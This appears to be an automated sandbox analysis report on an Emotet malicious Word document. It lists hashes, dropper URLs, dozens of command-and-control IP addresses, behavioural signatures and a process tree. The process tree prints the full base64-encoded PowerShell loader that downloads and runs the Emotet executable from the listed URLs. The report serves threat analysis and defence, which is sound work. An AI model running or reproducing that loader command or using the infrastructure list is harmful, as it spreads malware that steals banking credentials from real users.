emotet | 17b52f3228a617863558f2fc4e7c652fea83c75b2f25a84a9d56aeeb83b36fc4

Analysis

max time kernel
135s
max time network
147s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 07:31

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General

Target
M_0997739925874982.doc
Size 154KB
Sample200915-4kkmf65cm6
SHA256 17b52f3228a617863558f2fc4e7c652fea83c75b2f25a84a9d56aeeb83b36fc4
MD5 2be9b82667ee88a7676d3ae05a3e66da
SHA1 af0d0b712c4c58400d5e2e3a62fef3119a97606f
SHA512 9a0c569a05bddcfb546c597859f30680fb8145f3f60431b622c033f0c33cb3c0d8cddb2669b03575cf7dc72bc1812e7e303f15ff73ce5b94cdd3327963adaa2d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://intrasistemas.com/cgi-bin/mTQls3/
exe.dropper
http://gforcems.it/modules/D/
exe.dropper
http://cooltattoo.es/hatone/6YAA0O2/
exe.dropper
http://diesner.de/css/cf/
exe.dropper
http://go4it24.be/administrator/Q1r3/
exe.dropper
http://eltrafalgar.com/wp-includes/VFSi/
exe.dropper
http://infoestudio.es/cursos/qPP/

Extracted

Family

emotet

104.32.141.43:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
61.92.17.12:80
103.86.49.11:8080
174.45.13.118:80
75.139.38.211:80
104.131.11.150:443
121.124.124.40:7080
200.114.213.233:8080
185.94.252.104:443
181.169.34.190:80
187.161.206.24:80
93.147.212.206:80
176.111.60.55:8080
83.169.36.251:8080
174.102.48.180:443
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
37.187.72.193:8080
50.91.114.38:80
168.235.67.138:7080
84.39.182.7:80
219.74.18.66:443
91.211.88.52:7080
5.196.74.210:8080
24.137.76.62:80
87.106.136.232:8080
5.39.91.110:7080
104.131.44.150:8080
201.173.217.124:443
62.75.141.82:80
153.177.101.120:443
153.232.188.106:80
139.99.158.11:443
85.66.181.138:80
209.141.54.221:8080
85.152.162.105:80
82.225.49.121:80
162.241.242.173:8080
169.239.182.217:8080
1.221.254.82:80
50.35.17.13:80
78.24.219.147:8080
89.216.122.92:80
82.80.155.43:80
87.106.139.101:8080
85.214.28.226:8080
194.187.133.160:443
74.120.55.163:80
157.245.99.39:8080
74.208.45.104:8080
79.137.83.50:443
139.59.60.244:8080
95.179.229.244:8080
203.153.216.189:7080
203.117.253.142:80
172.91.208.86:80
46.105.131.79:8080
110.145.77.103:80
188.219.31.12:80
68.188.112.97:80
109.74.5.95:8080
62.30.7.67:443
137.59.187.107:8080
156.155.166.221:80
104.236.246.93:8080
94.23.216.33:80
94.23.237.171:443
95.213.236.64:8080
79.98.24.39:8080
97.82.79.83:80
47.144.21.12:443
37.139.21.175:8080
139.162.108.71:8080
12.30.50.130:80
94.200.114.161:80
78.187.156.31:80
61.19.246.238:443
85.105.205.77:8080
139.130.242.43:80
213.196.135.145:80
137.119.36.33:80
24.43.99.75:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2148	656	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2148	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3664	Dkz54ymi0.exe
516	gcdef.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\winrsmgr\gcdef.exe	Dkz54ymi0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1756	WINWORD.EXE
1756	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2148	powershell.exe
2148	powershell.exe
2148	powershell.exe
516	gcdef.exe
516	gcdef.exe
516	gcdef.exe
516	gcdef.exe
516	gcdef.exe
516	gcdef.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
1756	WINWORD.EXE
3664	Dkz54ymi0.exe
3664	Dkz54ymi0.exe
516	gcdef.exe
516	gcdef.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 3664	2148	powershell.exe	78
PID 2148 wrote to memory of 3664	2148	powershell.exe	78
PID 2148 wrote to memory of 3664	2148	powershell.exe	78
PID 3664 wrote to memory of 516	3664	Dkz54ymi0.exe	81
PID 3664 wrote to memory of 516	3664	Dkz54ymi0.exe	81
PID 3664 wrote to memory of 516	3664	Dkz54ymi0.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\M_0997739925874982.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABXADIAYwBnAHoAcABzAD0AKAAnAEEAMgAnACsAKAAnADIAcQA2AG8AJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBwAFIATwBGAGkATABlAFwAVQBpADcAQwBLADkAOABcAGMAdQBZAFAAdQBYAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBJAHQAWQBgAFAAcgBgAE8AVABPAGAAQwBgAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEgAMQAwADIAMwB2ADIAIAA9ACAAKAAnAEQAJwArACcAawAnACsAKAAnAHoANQAnACsAJwA0AHkAbQAnACsAJwBpADAAJwApACkAOwAkAEoAMAA3AHAAbwB4AGUAPQAoACgAJwBXAGEAcwAnACsAJwB2ACcAKQArACgAJwBhAG8AJwArACcAMgAnACkAKQA7ACQARQA2AHcAcgB0AHQANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAHoARgBmACcAKwAnAFUAaQAnACkAKwAnADcAJwArACcAYwAnACsAKAAnAGsAOQA4AHoARgAnACsAJwBmAEMAJwArACcAdQB5ACcAKQArACcAcAB1ACcAKwAoACcAeAAnACsAJwB2AHoARgBmACcAKQApAC4AIgBSAEUAcABMAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAyADIAKwBbAEMAaABBAHIAXQA3ADAAKwBbAEMAaABBAHIAXQAxADAAMgApACwAJwBcACcAKQApACsAJABIADEAMAAyADMAdgAyACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABCAHUAaABxADAAMgByAD0AKAAnAEgAawAnACsAKAAnADAAMwB2AGcAJwArACcAcAAnACkAKQA7ACQAQwB3AG8AagBhAGwANwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwASQBFAG4AdAA7ACQAQQA3AHoAYQBmADUAZQA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAGkAbgB0AHIAYQBzACcAKQArACgAJwBpAHMAdAAnACsAJwBlACcAKQArACgAJwBtAGEAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAJwApACsAJwBnACcAKwAoACcAaQAtAGIAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwAvACcAKwAnAG0AVABRAGwAJwApACsAKAAnAHMAMwAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8ALwBnAGYAbwAnACkAKwAoACcAcgBjAGUAJwArACcAbQBzACcAKQArACcALgAnACsAKAAnAGkAJwArACcAdAAvACcAKQArACcAbQAnACsAJwBvACcAKwAnAGQAdQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAEQAJwArACcALwAnACkAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBjAG8AbwAnACkAKwAoACcAbAAnACsAJwB0AGEAdAB0AG8AbwAnACkAKwAnAC4AJwArACgAJwBlAHMALwBoACcAKwAnAGEAJwArACcAdABvAG4AZQAnACkAKwAoACcALwA2ACcAKwAnAFkAQQAnACkAKwAoACcAQQAwACcAKwAnAE8AMgAvACoAaAAnACsAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AZAAnACsAJwBpAGUAJwArACcAcwAnACkAKwAnAG4AZQAnACsAKAAnAHIAJwArACcALgBkAGUALwAnACkAKwAoACcAYwBzAHMALwBjACcAKwAnAGYAJwApACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBnAG8ANAAnACkAKwAoACcAaQB0ADIANAAnACsAJwAuAGIAJwArACcAZQAvACcAKQArACgAJwBhAGQAbQAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGkAJwArACcAcwB0AHIAYQAnACsAJwB0AG8AcgAvAFEAJwArACcAMQAnACkAKwAnAHIAJwArACgAJwAzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAvAGUAJwApACsAJwBsACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAZgBhAGwAJwArACcAZwAnACsAJwBhAHIALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBWAEYAJwArACcAUwBpACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbgAnACkAKwAoACcAZgAnACsAJwBvAGUAJwApACsAKAAnAHMAdAB1AGQAJwArACcAaQAnACkAKwAnAG8ALgAnACsAJwBlACcAKwAoACcAcwAvACcAKwAnAGMAdQByACcAKQArACgAJwBzAG8AcwAvAHEAJwArACcAUABQAC8AJwApACkALgAiAHMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA4AGMAdAB3AHcAbQA9ACgAKAAnAEkAJwArACcAbABzAGMAbgAnACkAKwAnAHUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMADcAMAByAGIAegAyACAAaQBuACAAJABBADcAegBhAGYANQBlACkAewB0AHIAeQB7ACQAQwB3AG8AagBhAGwANwAuACIARABPAHcAbgBgAGwAbwBhAGQAYABGAGAAaQBMAGUAIgAoACQATAA3ADAAcgBiAHoAMgAsACAAJABFADYAdwByAHQAdAA2ACkAOwAkAEMAbwB3ADQAYgBzADUAPQAoACcATQBlACcAKwAoACcAZgBkACcAKwAnAHoAJwApACsAJwBtADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUANgB3AHIAdAB0ADYAKQAuACIATABgAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA5ADEAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABFADYAdwByAHQAdAA2ACkAOwAkAFIAbgBlAGwAaAA1AHIAPQAoACcAQwAnACsAJwBmACcAKwAoACcAeQBpACcAKwAnAHAAbwAxACcAKQApADsAYgByAGUAYQBrADsAJABSAHoAaAB2AHcAMwAxAD0AKAAoACcATABiACcAKwAnAHIAcQBpACcAKQArACcAcABfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAHoAaABmADAANwA9ACgAJwBFAHYAJwArACgAJwA5ACcAKwAnAG0AZwBvACcAKQArACcAYwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Users\Admin\Ui7ck98\Cuypuxv\Dkz54ymi0.exe
  "C:\Users\Admin\Ui7ck98\Cuypuxv\Dkz54ymi0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\SysWOW64\winrsmgr\gcdef.exe
    "C:\Windows\SysWOW64\winrsmgr\gcdef.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/516-20-0x0000000000700000-0x0000000000712000-memory.dmp

Download

memory/516-21-0x0000000000720000-0x0000000000730000-memory.dmp

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memory/1756-5-0x000001E8A6120000-0x000001E8A6123000-memory.dmp

Download

memory/1756-3-0x000001E8A870C000-0x000001E8A8711000-memory.dmp

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memory/1756-8-0x000001E8A8908000-0x000001E8A890D000-memory.dmp

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memory/1756-9-0x000001E8A8908000-0x000001E8A890D000-memory.dmp

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memory/1756-7-0x000001E8A890D000-0x000001E8A8912000-memory.dmp

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memory/1756-6-0x000001E8A890D000-0x000001E8A8912000-memory.dmp

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memory/1756-0-0x00007FFA40390000-0x00007FFA40A56000-memory.dmp

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memory/1756-1-0x000001E8A86A1000-0x000001E8A870C000-memory.dmp

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memory/1756-2-0x000001E8A870C000-0x000001E8A8711000-memory.dmp

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memory/1756-4-0x000001E8A870C000-0x000001E8A8711000-memory.dmp

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memory/2148-10-0x00007FFA38E30000-0x00007FFA3981C000-memory.dmp

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memory/2148-11-0x000002345FF40000-0x000002345FF41000-memory.dmp

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memory/2148-12-0x0000023460070000-0x0000023460071000-memory.dmp

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memory/3664-17-0x0000000000660000-0x0000000000670000-memory.dmp

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memory/3664-16-0x0000000000640000-0x0000000000652000-memory.dmp

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